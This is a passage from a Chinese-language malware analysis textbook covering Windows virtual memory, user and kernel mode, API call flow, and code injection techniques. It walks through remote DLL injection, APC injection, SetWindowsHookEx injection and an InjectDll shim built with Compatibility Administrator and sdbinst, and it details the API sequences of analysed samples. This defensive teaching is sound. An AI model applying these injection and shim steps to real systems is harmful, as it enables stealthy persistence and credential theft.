对手可以在每次启动 Microsoft Office 应用程序时保持恶意代码的持久性并执行它。有关更多详细信息,请参见www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/和researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/。有关各种持久化方法的更多详细信息,并了解对手的战术和技术,请参考 MITRE 的 ATT&CK 维基:attack.mitre.org/wiki/Persistence。
摘要
恶意软件使用各种 API 调用与系统交互,在本章中,你学习了恶意二进制文件如何利用 API 调用实现各种功能。本章还涵盖了对手使用的不同持久化技术,这些技术使得恶意软件即使在系统重启后仍能驻留在受害者系统上(其中一些技术允许恶意二进制文件以高权限执行代码)。
在下一章中,你将学习对手使用的不同代码注入技术,这些技术用于在合法进程的上下文中执行恶意代码。
第八章:代码注入与挂钩
在上一章中,我们探讨了恶意软件为了在受害者系统中保持存在所使用的不同持久性机制。在本章中,您将学习恶意程序如何将代码注入到另一个进程中(称为目标进程或远程进程)以执行恶意操作。将恶意代码注入到目标进程的内存并在目标进程的上下文中执行恶意代码的技术被称为代码注入(或进程注入)。
攻击者通常选择一个合法进程(如explorer.exe或svchost.exe)作为目标进程。一旦恶意代码被注入到目标进程中,它就可以在目标进程的上下文中执行恶意操作,如记录击键、窃取密码和外泄数据。在将代码注入到目标进程的内存后,负责注入代码的恶意组件可以选择继续在系统中保持持久性,从而在每次系统重启时都注入代码到目标进程中,或者它可以从文件系统中删除自身,仅将恶意代码保留在内存中。
在深入了解恶意软件代码注入技术之前,理解虚拟内存的概念是至关重要的。
1. 虚拟内存
当您双击一个包含指令序列的程序时,一个进程就会被创建。Windows 操作系统为每个新创建的进程提供自己的私有内存地址空间(称为进程内存)。进程内存是虚拟内存的一部分;虚拟内存并不是真正的物理内存,而是操作系统内存管理器创造的一种幻觉。正是因为这种幻觉,每个进程都认为它拥有自己的私有内存空间。在运行时,Windows 内存管理器在硬件的帮助下,将虚拟地址转换为实际数据所在的物理地址(在 RAM 中);为了管理内存,操作系统会将部分内存分页到磁盘。当进程的线程访问已分页到磁盘的虚拟地址时,内存管理器会将其从磁盘加载回内存。下图说明了两个进程 A 和 B,它们的进程内存被映射到物理内存,同时部分内存被分页到磁盘:
由于我们通常处理的是虚拟地址(即你在调试器中看到的地址),因此本章剩余部分将不讨论物理内存。现在,让我们集中讨论虚拟内存。虚拟内存分为进程内存(进程空间或用户空间)和内核内存(内核空间或系统空间)。虚拟内存地址空间的大小取决于硬件平台。例如,在 32 位架构上,默认情况下,总虚拟地址空间(包括进程和内核内存)最大为 4GB。下半部分(下 2GB),地址范围从0x00000000到0x7FFFFFFF,保留给用户进程(进程内存或用户空间);上半部分(上 2GB),地址范围从0x80000000到0xFFFFFFFF,保留给内核内存(内核空间)。
在 32 位系统中,在 4GB 的虚拟地址空间中,每个进程认为它有 2GB 的进程内存,地址范围从0x00000000到0x7FFFFFFF。由于每个进程认为它拥有自己的私有虚拟地址空间(最终映射到物理内存),因此总虚拟地址空间远大于可用的物理内存(RAM)。Windows 内存管理器通过将部分内存分页到磁盘来解决这个问题;这释放了物理内存,可以用于其他进程或操作系统本身。即使每个 Windows 进程都有自己的私有内存空间,内核内存在大多数情况下是公共的,所有进程共享。以下图表显示了 32 位架构的内存布局。你可能会注意到用户空间和内核空间之间有一个 64KB 的间隙;这一区域不可访问,确保内核不会意外跨越边界并损坏用户空间。你可以通过检查符号MmHighestUserAddress来确定进程地址空间的上边界(最后可用地址),并通过使用内核调试器如Windbg查询符号MmSystemRangeStart来确定内核空间的下边界(第一个可用地址):
即使每个进程的虚拟地址范围相同(0x00000000到0x7FFFFFFF),硬件和 Windows 也会确保映射到该范围的物理地址对于每个进程都是不同的。例如,当两个进程访问相同的虚拟地址时,每个进程最终将访问物理内存中的不同地址。通过为每个进程提供私有地址空间,操作系统确保进程不会覆盖彼此的数据。
虚拟内存空间不一定总是被划分为 2GB 的两半;这只是默认的设置。例如,你可以通过使用以下命令启用 3GB 启动开关,这样可以将进程内存增加到 3GB,地址范围从0x00000000到0xBFFFFFFF;内核内存则获得剩余的 1GB,地址范围从0xC0000000到0xFFFFFFFF:
bcdedit /set increaseuserva 3072
x64 架构为进程和内核内存提供了更大的地址空间,如下图所示。在 x64 架构中,用户空间的范围是0x0000000000000000 - 0x000007ffffffffff,内核空间从0xffff080000000000开始,向上延伸。你可能会注意到用户空间与内核空间之间存在巨大的地址空隙;这个地址范围是不可用的。即使在下图中,内核空间显示从0xffff080000000000开始,内核空间中的第一个可用地址是从ffff800000000000开始。之所以如此,是因为 x64 代码中使用的所有地址必须是规范的。一个地址被称为规范地址,若其47-63位要么全部设置,要么全部清除。尝试使用非规范地址会导致页面错误异常:
1.1 进程内存组件(用户空间)
了解虚拟内存后,让我们将注意力集中在虚拟内存的一部分——进程内存。进程内存是用户应用程序使用的内存。下图展示了两个进程,并给出了进程内存中组成部分的高层概览。在下图中,内核空间为了简洁起见被故意留空(我们将在下一节填补这个空白)。请记住,进程共享相同的内核空间:
进程内存由以下主要部分组成:
-
进程可执行文件: 该区域包含与应用程序相关的可执行文件。当磁盘上的程序被双击时,会创建一个进程,并将与该程序相关的可执行文件加载到进程内存中。
-
动态链接库(DLLs): 当进程创建时,所有与之关联的 DLL 会被加载到进程内存中。该区域表示与进程相关的所有 DLL。
-
进程环境变量: 该内存区域存储进程的环境变量,例如临时目录、主目录、AppData 目录等。
-
进程堆: 该区域指定进程堆。每个进程有一个堆,并可以根据需要创建额外的堆。该区域指定进程接收的动态输入。
-
线程栈: 该区域表示分配给每个线程的专用进程内存范围,称为其运行时栈。每个线程都有自己的栈,这里存储函数参数、本地变量和返回地址。
-
进程环境块(PEB): 该区域表示
PEB结构,包含有关可执行文件加载位置的信息、其在磁盘上的完整路径,以及在内存中查找 DLL 的位置。
您可以使用Process Hacker(processhacker.sourceforge.io/)工具查看进程内存的内容。操作方法是启动 Process Hacker,右键点击所需进程,选择属性,然后选择内存标签。
1.2 内核内存内容(内核空间)
内核内存包含操作系统和设备驱动程序。下图显示了用户空间和内核空间的组件。在本节中,我们将主要关注内核空间的组件:
内核内存由以下关键组件组成:
-
hal.dll:硬件抽象层(HAL)在可加载的内核模块hal.dll中实现。HAL 将操作系统与硬件隔离;它实现了支持不同硬件平台(主要是芯片组)的功能。它主要为Windows 执行体、内核和内核模式的设备驱动程序提供服务。内核模式设备驱动程序调用hal.dll暴露的函数与硬件进行交互,而不是直接与硬件通信。 -
ntoskrnl.exe:该二进制文件是 Windows 操作系统的核心组件,称为内核映像。ntoskrnl.exe二进制文件提供两种功能:执行体和内核。执行体实现了称为系统服务例程的功能,用户模式应用程序可以通过受控机制调用这些例程。执行体还实现了操作系统的主要组件,如内存管理器、I/O 管理器、对象管理器、进程/线程管理器等。内核实现了低级操作系统服务,并暴露出一组例程,执行体依赖这些例程提供更高级的服务。 -
Win32K.sys:此内核模式驱动程序实现了UI和*图形设备接口(GDI)*服务,这些服务用于在输出设备(如显示器)上渲染图形。它为 GUI 应用程序提供了函数。
2. 用户模式与内核模式
在上一节中,我们看到虚拟内存是如何被划分为用户空间(进程内存)和内核空间(内核内存)的。用户空间包含运行时具有受限访问权限的代码(例如可执行文件和 DLL),即用户模式。换句话说,运行在用户空间中的可执行文件或 DLL 代码不能访问内核空间中的任何内容,也不能直接与硬件进行交互。内核空间包含内核本身(ntoskrnl.exe)和设备驱动程序。在内核空间中运行的代码具有较高的权限,称为内核模式,它可以访问用户空间和内核空间。通过为内核提供较高的权限级别,操作系统确保用户模式的应用程序无法通过访问受保护的内存或 I/O 端口来导致系统不稳定。第三方驱动程序可以通过实现并安装签名驱动程序将其代码运行在内核模式中。
空间(用户空间/内核空间)和模式(用户模式/内核模式)之间的区别在于,空间指定内容(数据/代码)存储的位置,而模式指的是执行模式,指定应用程序指令如何被允许执行。
如果用户模式的应用程序无法直接与硬件交互,那么问题来了,如何通过调用WriteFile API,用户模式下运行的恶意软件二进制文件能够将内容写入磁盘上的文件呢?事实上,大多数用户模式应用程序调用的 API 最终会调用内核执行程序(ntoskrnl.exe)中实现的系统服务例程(函数),而这些函数又与硬件交互(例如,用于写入磁盘上的文件)。同样,任何调用与 GUI 相关的 API 的用户模式应用程序,最终都会调用内核空间中的win32k.sys暴露的函数。以下图示说明了这一概念;为了简化起见,我删除了用户空间的一些组件。ntdll.dll(驻留在用户空间中)充当用户空间与内核空间之间的网关。以同样的方式,user32.dll充当 GUI 应用程序的网关。在下一节中,我们将主要关注通过ntdll.dll将 API 调用过渡到内核执行程序的系统服务例程:
2.1 Windows API 调用流程
Windows 操作系统通过暴露实现于 DLL 中的 API 来提供服务。应用程序通过调用实现于 DLL 中的 API 来使用该服务。大多数 API 函数最终都会调用ntoskrnl.exe(内核执行程序)中的系统服务例程。在本节中,我们将研究应用程序调用 API 时发生了什么,以及 API 如何最终调用ntoskrnl.exe(执行程序)中的系统服务例程。具体来说,我们将探讨应用程序调用WriteFile() API 时发生的情况。以下图表概述了 API 调用流程的高层次概览:
-
当通过双击程序启动一个进程时,进程的可执行映像及其所有相关的 DLL 会被 Windows 加载器加载到进程内存中。当进程启动时,会创建主线程,主线程从内存中读取可执行代码并开始执行。需要记住的重要一点是,不是进程执行代码,而是线程执行代码(进程只是线程的容器)。创建的线程在用户模式下开始执行(具有受限访问权限)。进程可以根据需要显式地创建额外的线程。
-
假设一个应用程序需要调用由
kernel32.dll导出的WriteFile()API。为了将执行控制转移到WriteFile(),线程必须知道WriteFile()在内存中的地址。如果应用程序导入了WriteFile(),那么它可以通过查看一个函数指针表格,称为导入地址表(IAT),来确定其地址,如前面的图所示。该表格位于应用程序的可执行映像中,并且在加载 DLL 时,Windows 加载器会填充该表格,填入函数地址。
应用程序也可以通过调用LoadLibrary() API 在运行时加载 DLL,并且可以通过使用GetProcessAddress() API 来确定加载的 DLL 中某个函数的地址。如果应用程序在运行时加载了 DLL,那么 IAT 就不会被填充。
-
一旦线程从 IAT 或运行时中确定了
WriteFile()的地址,它就会调用WriteFile(),该函数在kernel32.dll中实现。WriteFile()函数中的代码最终会调用一个由网关 DLLntdll.dll导出的函数NtWriteFile()。ntdll.dll中的NtWriteFile()并不是真正实现的NtWriteFile()。具有相同名称的实际函数NtWriteFile()(系统服务例程)位于ntoskrnl.exe(执行程序)中,包含真正的实现。ntdll.dll中的NtWriteFile()只是一个桩程序,它执行SYSENTER(x86)或SYSCALL(x64)指令,这些指令将代码切换到内核模式。 -
现在,运行在内核模式下的线程(具有无限制访问权限)需要找到实际的
NtWriteFile()函数的地址,该函数由ntoskrnl.exe实现。为此,它查阅了内核空间中的一个表格,称为系统服务描述符表(SSDT),并确定了NtWriteFile()的地址。然后它调用 Windows 执行程序中的实际NtWriteFile()(系统服务例程)(位于ntoskrnl.exe中),该函数将请求引导到I/O 管理器中的 I/O 功能。I/O 管理器随后将请求传递给适当的内核模式设备驱动程序。内核模式设备驱动程序使用HAL导出的例程与硬件进行交互。
3. 代码注入技术
如前所述,代码注入技术的目标是将代码注入到远程进程的内存中,并在远程进程的上下文中执行注入的代码。注入的代码可以是一个模块,如可执行文件、DLL,甚至是 Shellcode。代码注入技术为攻击者提供了许多好处;一旦代码被注入到远程进程中,对手可以执行以下操作:
-
强制远程进程执行注入的代码以执行恶意操作(例如下载附加文件或窃取击键)。
-
注入一个恶意模块(如 DLL),并将远程进程的 API 调用重定向到注入模块中的恶意函数。恶意函数可以拦截 API 调用的输入参数,同时过滤输出参数。例如,Internet Explorer 使用
HttpSendRequest()发送一个包含可选 POST 负载的请求到 Web 服务器,并使用InternetReadFile()从服务器的响应中获取字节,以便在浏览器中显示。攻击者可以将一个模块注入到 Internet Explorer 的进程内存中,并将HttpSendRequest()重定向到注入模块中的恶意函数,从 POST 负载中提取凭证。以同样的方式,它可以拦截通过InternetReadFile()API 接收到的数据,以读取或修改从 Web 服务器接收到的数据。这使得攻击者可以在数据到达 Web 服务器之前拦截数据(如银行凭证),并且还可以在数据到达受害者浏览器之前,替换或插入额外的数据到服务器响应中(如向 HTML 内容中插入一个额外字段)。 -
将代码注入到已运行的进程中,可以让攻击者实现持久性。
-
将代码注入到受信任的进程中,可以让攻击者绕过安全产品(如白名单软件)并隐藏自己。
在本节中,我们将主要关注用户空间中的代码注入技术。我们将探讨攻击者用来将代码注入远程进程的各种方法。
在以下代码注入技术中,有一个恶意进程(启动器或加载器)用于注入代码,另一个合法进程(如explorer.exe)则是代码将被注入的目标进程。在执行代码注入之前,启动器需要首先识别要注入代码的进程。这通常通过枚举系统中运行的进程来实现;它使用三个 API 调用:CreateToolhelp32Snapshot()、Process32First() 和 Process32Next()。CreateToolhelp32Snapshot() 用于获取所有运行中的进程的快照;Process32First() 获取快照中第一个进程的信息;Process32Next() 在循环中用于遍历所有进程。Process32First() 和 Process32Next() APIs 获取进程的相关信息,如可执行文件名、进程 ID 和父进程 ID;这些信息可供恶意软件判断是否是目标进程。有时,恶意程序会选择启动一个新进程(如 notepad.exe),然后将代码注入到该进程中,而不是注入到已运行的进程。
无论恶意软件是将代码注入到已在运行的进程中,还是启动一个新进程来注入代码,所有代码注入技术(接下来会介绍)的目标都是将恶意代码(可以是 DLL、可执行文件或 Shellcode)注入到目标(合法)进程的地址空间,并迫使合法进程执行注入的代码。根据代码注入技术,待注入的恶意组件可以存储在磁盘上或内存中。以下图示应能为您提供一个关于用户空间代码注入技术的高层次概览:
3.1 远程 DLL 注入
在此技术中,目标(远程)进程被强制通过LoadLibrary() API 将一个恶意 DLL 加载到其进程内存空间中。kernel32.dll 导出 LoadLibrary(),此函数接受一个参数,即磁盘上 DLL 的路径,并将该 DLL 加载到调用进程的地址空间中。在这种注入技术中,恶意软件进程在目标进程中创建一个线程,并使该线程调用 LoadLibrary(),通过传递恶意 DLL 路径作为参数。由于线程是在目标进程中创建的,目标进程将恶意 DLL 加载到其地址空间中。一旦目标进程加载了恶意 DLL,操作系统会自动调用该 DLL 的 DllMain() 函数,从而执行恶意代码。
以下步骤详细描述了如何执行该技术,并以名为nps.exe(加载器或启动器)的恶意软件为例,通过LoadLibrary()将 DLL 注入到合法的 explorer.exe 进程中。在注入恶意 DLL 组件之前,它会被写入磁盘,然后执行以下步骤:
- 恶意软件进程(
nps.exe)识别目标进程(在此案例中为explorer.exe)并获取其进程 ID(pid)。获取 pid 的目的是打开一个目标进程的句柄,以便恶意软件进程能够与其交互。为了打开句柄,使用OpenProcess()API,其中一个接受的参数是进程的 pid。在下面的截图中,恶意软件通过将explorer.exe的 pid(0x624,即1572)作为第三个参数来调用OpenProcess()。OpenProcess()的返回值是指向explorer.exe进程的句柄:
- 恶意软件进程接着使用
VirutualAllocEx()API 在目标进程中分配内存。在下面的截图中,第一个参数(0x30)是explorer.exe(目标进程)的句柄,它是从前一步获取的。第三个参数,0x27 (39),表示在目标进程中要分配的字节数,第五个参数(0x4)是常量值,表示PAGE_READWRITE内存保护。VirtualAllocEx()的返回值是explorer.exe中分配内存的地址:
- 在目标进程中分配内存的原因是为了复制一个字符串,该字符串标识磁盘上恶意 DLL 的完整路径。恶意软件使用
WriteProcessMemory()将 DLL 路径名复制到目标进程中分配的内存。在下面的截图中,第 2 个参数0x01E30000是目标进程中分配内存的地址,第 3 个参数是将写入目标内存地址0x01E30000中的 DLL 完整路径,该路径将写入explorer.exe中:
-
将 DLL 路径名复制到目标进程内存中的想法是,稍后,当在目标进程中创建远程线程并通过远程线程调用
LoadLibrary()时,DLL 路径将作为参数传递给LoadLibrary()。在创建远程线程之前,恶意软件必须确定LoadLibrary()在kernel32.dll中的地址;为此,它调用GetModuleHandleA()API,并将kernel32.dll作为参数传递,该函数将返回Kernel32.dll的基地址。一旦获得kernel32.dll的基地址,它通过调用GetProcessAddress()确定LoadLibrary()的地址。 -
此时,恶意软件已将 DLL 路径名复制到目标进程的内存中,并且已确定
LoadLibrary()的地址。接下来,恶意软件需要在目标进程(explorer.exe)中创建一个线程,并且该线程必须通过传递已复制的 DLL 路径名来执行LoadLibrary(),以便explorer.exe加载恶意 DLL。为此,恶意软件调用CreateRemoteThread()(或未文档化的 APINtCreateThreadEx()),该 API 会在目标进程中创建一个线程。在下面的截图中,CreateRemoteThread()的第 1 个参数0x30是explorer.exe进程的句柄,在此进程中将创建该线程。第 4 个参数是目标进程内存中线程将开始执行的地址,即LoadLibrary()的地址,第 5 个参数是目标进程内存中包含 DLL 完整路径的地址。调用CreateRemoteThread()后,在explorer.exe中创建的线程将调用LoadLibrary(),从磁盘加载 DLL 到explorer.exe的进程内存空间中。由于加载了恶意 DLL,其DLLMain()函数会自动被调用,从而在explorer.exe上下文中执行恶意代码:
- 注入完成后,恶意软件调用
VirtualFree()API 释放包含 DLL 路径的内存,并使用CloseHandle()API 关闭对目标进程(explorer.exe)的句柄。
恶意进程可以将代码注入到与其具有相同或更低完整性级别的其他进程中。例如,一个具有中等完整性级别的恶意进程可以将代码注入到同样具有中等完整性级别的 explorer.exe 进程中。要操控系统级进程,恶意进程需要通过调用 AdjustTokenPrivileges() 启用 SE_DEBUG_PRIVILEGE(这需要管理员权限);这样它就可以读取、写入或将代码注入到另一个进程的内存中。
3.2 使用 APC 进行 DLL 注入(APC 注入)
在前述技术中,写入 DLL 路径名后,调用 CreateRemoteThread() 创建目标进程中的线程,该线程进而调用 LoadLibrary() 来加载恶意 DLL。APC 注入 技术与远程 DLL 注入类似,但不同的是,恶意软件利用 异步过程调用(APC) 来强制目标进程的线程加载恶意 DLL,而不是使用 CreateRemoteThread()。
APC 是在特定线程的上下文中异步执行的一个函数。每个线程都有一个 APC 队列,当目标线程进入可警报状态时,队列中的 APC 将会被执行。根据微软文档(msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx),线程会在调用以下函数之一时进入可警报状态:
SleepEx(),
SignalObjectAndWait()
MsgWaitForMultipleObjectsEx()
WaitForMultipleObjectsEx()
WaitForSingleObjectEx()
APC 注入技术的工作原理是,恶意软件进程识别目标进程中处于可警报状态或可能进入可警报状态的线程。然后,它使用 QueueUserAPC() 函数将自定义代码放入该线程的 APC 队列中。排队自定义代码的目的是,当线程进入可警报状态时,线程会从 APC 队列中获取并执行该代码。
以下步骤描述了一个恶意软件样本,通过 APC 注入技术将恶意 DLL 加载到 Internet Explorer (iexplore.exe) 进程中。这项技术与远程 DLL 注入的四个步骤相同(换句话说,它打开了 iexplore.exe 的句柄,在目标进程中分配内存,将恶意 DLL 的路径名复制到分配的内存中,并确定 Loadlibrary() 的地址)。接下来,按照以下步骤强制远程线程加载恶意 DLL:
- 它使用
OpenThread()API 打开目标进程线程的句柄。在以下截图中,第三个参数0xBEC(3052)是iexplore.exe进程的线程 ID (TID)。OpenThread()的返回值是iexplore.exe线程的句柄:
- 恶意程序接着调用
QueueUserAPC()将 APC 函数排入 Internet Explorer 线程的 APC 队列。在下图中,QueueUserAPC()的第 1 个参数是指向恶意程序希望目标线程执行的 APC 函数的指针。在此案例中,APC 函数是之前确定的LoadLibrary()地址。第 2 个参数0x22c是iexplore.exe目标线程的句柄。第 3 个参数0x2270000是目标进程(iexplore.exe)内存中包含恶意 DLL 完整路径的地址;当线程执行该 APC 函数时,这个参数会自动作为参数传递给 APC 函数(LoadLibrary()):
下图显示了 Internet Explorer 进程内存中地址 0x2270000 的内容(这是作为第 3 个参数传递给 QueueUserAPC() 的地址);该地址包含恶意软件之前写入的 DLL 的完整路径:
到此为止,注入过程已经完成,当目标进程的线程进入可警报状态时,线程会从 APC 队列中执行 LoadLibrary(),并将 DLL 的完整路径作为参数传递给 LoadLibrary()。结果,恶意 DLL 被加载到目标进程的地址空间,从而调用包含恶意代码的 DLLMain() 函数。
3.3 使用 SetWindowsHookEx() 进行 DLL 注入
在上一章中(请参阅 第 1.3.2 节,使用 SetWindowsHookEx 的键盘记录器),我们研究了恶意软件如何使用 SetWindowsHookEx() API 安装 钩子过程 来监控键盘事件。SetWindowsHookEx() API 还可以用来将 DLL 加载到目标进程的地址空间并执行恶意代码。为了做到这一点,恶意软件首先将恶意 DLL 加载到自身的地址空间中。接着,它为特定事件(如 键盘 或 鼠标事件)安装一个 钩子过程(由恶意 DLL 导出的函数),并将该事件与目标进程的线程(或当前桌面上的所有线程)关联。其原理是,当某个特定事件被触发时,目标进程的线程会调用安装的钩子过程。为了调用 DLL 中定义的钩子过程,必须将 DLL(包含钩子过程)加载到目标进程的地址空间中。
换句话说,攻击者创建一个包含导出函数的 DLL。包含恶意代码的导出函数被设置为特定事件的钩子程序。钩子程序与目标进程的一个线程相关联,当事件触发时,攻击者的 DLL 被加载到目标进程的地址空间,钩子程序由目标进程的线程调用,从而执行恶意代码。恶意软件可以为任何类型的事件设置钩子,只要该事件有可能发生。关键点在于,DLL 被加载到目标进程的地址空间并执行恶意行为。
以下描述了恶意软件样本(Trojan Padador)加载其 DLL 到远程进程的地址空间并执行恶意代码的步骤:
- 恶意软件执行文件将一个名为
tckdll.dll的 DLL 文件放置到磁盘上。该 DLL 包含一个入口点函数和一个名为TRAINER的导出函数,如下所示。DLL 入口点函数的作用不大,而TRAINER函数包含恶意代码。这意味着每当加载 DLL 时(其入口点函数被调用),恶意代码不会执行;只有当调用TRAINER函数时,恶意行为才会被触发:
- 恶意软件通过
LoadLibrary()API 将 DLL(tckdll.dll)加载到自己的地址空间,但此时并未执行任何恶意代码。LoadLibrary()的返回值是已加载模块(tckdll.dll)的句柄。接着,它使用GetProcAddress()来确定TRAINER函数的地址:
- 恶意软件使用
tckdll.dll的句柄和TRAINER函数的地址来为键盘事件注册一个钩子程序。在下面的截图中,第一个参数WH_KEYBOARD(常量值2)指定了触发钩子程序的事件类型。第二个参数是钩子程序的地址,即前一步确定的TRAINER函数的地址。第三个参数是tckdll.dll的句柄,它包含钩子程序。第四个参数0指定钩子程序必须与当前桌面上的所有线程相关联。恶意软件也可以选择通过提供线程 ID 来将钩子程序与特定线程关联,而不是将其与所有桌面线程关联:
执行上述步骤后,当应用程序内触发键盘事件时,该应用程序将加载恶意 DLL 并调用TRAINER函数。例如,当你启动记事本并输入一些字符(触发键盘事件)时,tckdll.dll将被加载到记事本的地址空间中,并调用TRAINER函数,迫使notepad.exe进程执行恶意代码。
3.4 使用应用程序兼容性补丁的 DLL 注入
微软 Windows 应用程序兼容性框架/基础结构(应用程序补丁) 是一项功能,允许为旧版本操作系统(如 Windows XP)创建的程序在现代操作系统版本(如 Windows 7 或 Windows 10)上运行。这是通过 应用程序兼容性修复(补丁)来实现的。补丁由微软提供给开发者,以便他们可以在不重写代码的情况下修复程序。当补丁应用到程序时,并且当被补丁处理的程序执行时,补丁引擎会将补丁程序的 API 调用重定向到补丁代码;这是通过将 IAT 中的指针替换为补丁代码的地址来完成的。应用程序如何使用 IAT 的详细信息在 2.1* Windows API 调用流程* 小节中已有说明。换句话说,它挂钩 Windows API,将调用重定向到补丁代码,而不是直接在 DLL 中调用 API。由于 API 重定向,补丁代码可以修改传递给 API 的参数、重定向 API,或修改来自 Windows 操作系统的响应。下图应该有助于你理解 Windows 操作系统中普通应用程序与补丁应用程序交互的差异:
为了帮助你理解补丁的功能,我们来看一个例子。假设在几年前(Windows 7 发布之前),你编写了一个应用程序(xyz.exe),在执行某些有用操作之前,会检查操作系统版本。假设你的应用程序通过调用 kernel32.dll 中的 GetVersion() API 来确定操作系统版本。简而言之,只有在操作系统版本为 Windows XP 时,应用程序才会执行某些有用的操作。现在,如果你将这个应用程序(xyz.exe)在 Windows 7 上运行,它将不会做任何有用的事情,因为 GetVersion() 返回的 Windows 7 操作系统版本与 Windows XP 不匹配。为了使该应用程序在 Windows 7 上正常运行,你可以修复代码并重新编译程序,或者你可以对该应用程序(xyz.exe)应用一个名为 WinXPVersionLie 的补丁。
在应用补丁后,当补丁应用程序(xyz.exe)在 Windows 7 上执行,并尝试通过调用 GetVersion() 来确定操作系统版本时,补丁引擎会拦截并返回一个不同版本的 Windows(Windows XP,而非 Windows 7)。具体来说,当补丁应用程序执行时,补丁引擎会修改 IAT(导入地址表),并将 GetVersion() API 调用重定向到补丁代码(而非 kernel32.dll)。换句话说,WinXPVersionLie 补丁通过欺骗应用程序,使其认为自己运行在 Windows XP 上,而无需修改应用程序中的代码。
要了解 shim 引擎的详细信息,请参考 Alex Ionescu 的博客文章,应用程序兼容性数据库(SDB)的秘密,网址为 www.alex-ionescu.com/?p=39。
微软提供了数百个 shim(如 WinXPVersionLie),可以应用于应用程序以改变其行为。这些 shim 中有一些被攻击者滥用,用于实现持久化、注入代码以及以提升的权限执行恶意代码。
3.4.1 创建一个 Shim
有许多 shim 可以被攻击者滥用以进行恶意操作。在这一部分,我将带你了解创建一个 shim 以注入 DLL 到目标进程的过程;这将帮助你理解攻击者如何轻松地创建一个 shim 并滥用此功能。在这个案例中,我们将为 notepad.exe 创建一个 shim,使它加载我们选择的 DLL。为应用程序创建一个 shim 可以分为四个步骤:
-
选择要 shim 的应用程序。
-
为应用程序创建 shim 数据库。
-
保存数据库(
.sdb文件)。 -
安装数据库。
要创建和安装一个 shim,你需要具有管理员权限。你可以使用微软提供的工具,应用程序兼容性工具包(ACT),来执行所有上述步骤。对于 Windows 7,可以从 www.microsoft.com/en-us/download/details.aspx?id=7352 下载;对于 Windows 10,它与 Windows ADK 捆绑在一起;根据版本,下载地址为 developer.microsoft.com/en-us/windows/hardware/windows-assessment-deployment-kit。在 64 位版本的 Windows 上,ACT 会安装两个版本的 兼容性管理员工具(32 位和 64 位)。要对 32 位程序进行 shim 操作,必须使用 32 位版本的兼容性管理员工具;要对 64 位程序进行 shim 操作,则使用 64 位版本。
为了演示这一概念,我将使用 32 位版本的 Windows 7,选择的目标进程是 notepad.exe。我们将创建一个 InjectDll shim,使得 notepad.exe 加载一个名为 abcd.dll 的 DLL。要创建一个 shim,请从开始菜单启动兼容性管理员工具(32 位),然后右键点击“新建数据库 | 应用程序修复”。
在以下对话框中,输入你想要 shim 的应用程序的详细信息。程序名称和厂商名称可以随意设置,但程序文件的位置必须正确。
在你按下“下一步”按钮后,会出现一个兼容性模式对话框;你可以直接按“下一步”按钮。在下一个窗口中,会出现一个兼容性修复(Shim)对话框;在这里,你可以选择各种 shim。在此案例中,我们关注的是InjectDll shim。选择InjectDll shim 复选框,然后点击“参数”按钮并输入 DLL 的路径(这是我们希望记事本加载的 DLL),如下所示。点击“确定”并按“下一步”按钮。需要注意的一点是,InjectDll shim 选项仅在 32 位兼容性管理员工具中可用,这意味着你只能将这个 shim 应用于 32 位进程:
接下来,你将看到一个屏幕,指定哪些属性将用于匹配程序(记事本)。当notepad.exe运行时,选定的属性将被匹配,当匹配条件满足后,shim 将被应用。为了使匹配标准不那么严格,我取消了所有选项,如下所示:
点击“完成”后,你将看到应用程序及其应用的修复程序的完整摘要,如下所示。此时,包含notepad.exe的 shim 信息的 shim 数据库已创建:
下一步是保存数据库;为此,点击“保存”按钮,并在提示时给你的数据库命名并保存文件。在此案例中,数据库文件保存为notepad.sdb(你可以选择任何文件名)。
数据库文件保存后,下一步是安装数据库。你可以通过右键单击已保存的 shim 并点击“安装”按钮来安装它,如下所示:
另一种安装数据库的方法是使用内置的命令行工具sdbinst.exe;你可以通过以下命令安装数据库:
sdbinst.exe notepad.sdb
现在,如果你调用notepad.exe,abcd.dll将从c:\test目录加载到记事本的进程地址空间中,如下所示:
3.4.2 Shim 工件
此时,你已经了解了如何使用 shim 将 DLL 加载到目标进程的地址空间。在我们讨论攻击者如何使用 shim 之前,首先必须了解安装 shim 数据库时会创建哪些工件(无论是通过右键单击数据库并选择“安装”,还是使用sdbinst.exe工具)。当你安装数据库时,安装程序会为数据库创建一个 GUID,并将 .sdb 文件复制到%SystemRoot%\AppPatch\Custom\<GUID>.sdb(32 位 shim)或%SystemRoot%\AppPatch\Custom\Custom64\<GUID>.sdb(64 位 shim)。它还会在以下注册表项中创建两个注册表项:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\
以下截图显示了在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\ 中创建的注册表项。此注册表项包含应用 shim 的程序名称以及关联的 shim 数据库文件(<GUID>.sdb):
第二个注册表项,HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\,包含数据库信息和 shim 数据库文件的安装路径:
这些工件的创建目的是,当应用了 shim 的应用程序执行时,加载器会通过查阅这些注册表项来判断应用是否需要被 shim,并调用 shim 引擎,该引擎将使用位于 AppPatch\ 目录中的 .sdb 文件配置来 shim 应用程序。另一个结果是,安装 shim 数据库时会将条目添加到 控制面板 中的 已安装程序 列表中。
3.4.3 攻击者如何使用 Shim
以下步骤描述了攻击者如何将一个应用程序应用 shim 并将其安装到受害者系统上的方式:
-
攻击者为目标应用程序(如
notepad.exe或受害者常用的任何合法第三方应用程序)创建 应用程序兼容性数据库(shim 数据库)。攻击者可以选择一个单独的 shim,例如InjectDll,或多个 shim。 -
攻击者保存为目标应用程序创建的 shim 数据库(
.sdb文件)。 -
.sdb文件被传送并丢弃在受害者系统上(通常通过恶意软件),并且它被安装,通常使用sdbinst工具。 -
攻击者调用目标应用程序或等待用户执行目标应用程序。
-
攻击者还可以删除安装 shim 数据库的恶意软件。在这种情况下,你只剩下
.sdb文件。
